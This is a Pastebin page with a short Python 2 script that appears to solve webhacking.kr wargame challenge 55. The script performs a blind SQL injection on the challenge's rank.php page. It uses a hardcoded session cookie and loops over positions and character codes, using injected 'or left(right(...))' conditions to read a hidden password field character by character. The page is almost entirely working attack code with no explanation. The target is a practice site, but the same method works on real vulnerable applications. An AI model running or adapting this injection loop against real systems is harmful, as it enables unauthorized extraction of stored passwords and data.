hdarwin

webhacking.kr_55

Jan 5th, 2013
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.50 KB | None | 0 0
  1. import urllib2
  2. import time
  3.  
  4. session = "c90b8e73b8e3e20f2fd1596f5a9b080b"
  5. url = "http://webhacking.kr/challenge/web/web-31/rank.php"
  6. for y in xrange(20,0,-1):
  7.     for x in xrange(0x20, 0x7e):
  8.         query = "?score=-1%20or%20left(right(pAsSw0RdzzzZ,"+str(y)+"),1)%3d" + str(hex(x))
  9.         req = urllib2.Request(url+query)
  10.         req.add_header("Cookie", "PHPSESSID="+session)
  11.         if -1 == urllib2.urlopen(req).read().find("id :  // "):
  12.             print chr(x),
  13.         time.sleep(0.5)
  14.     print
Add Comment
Please, Sign In to add comment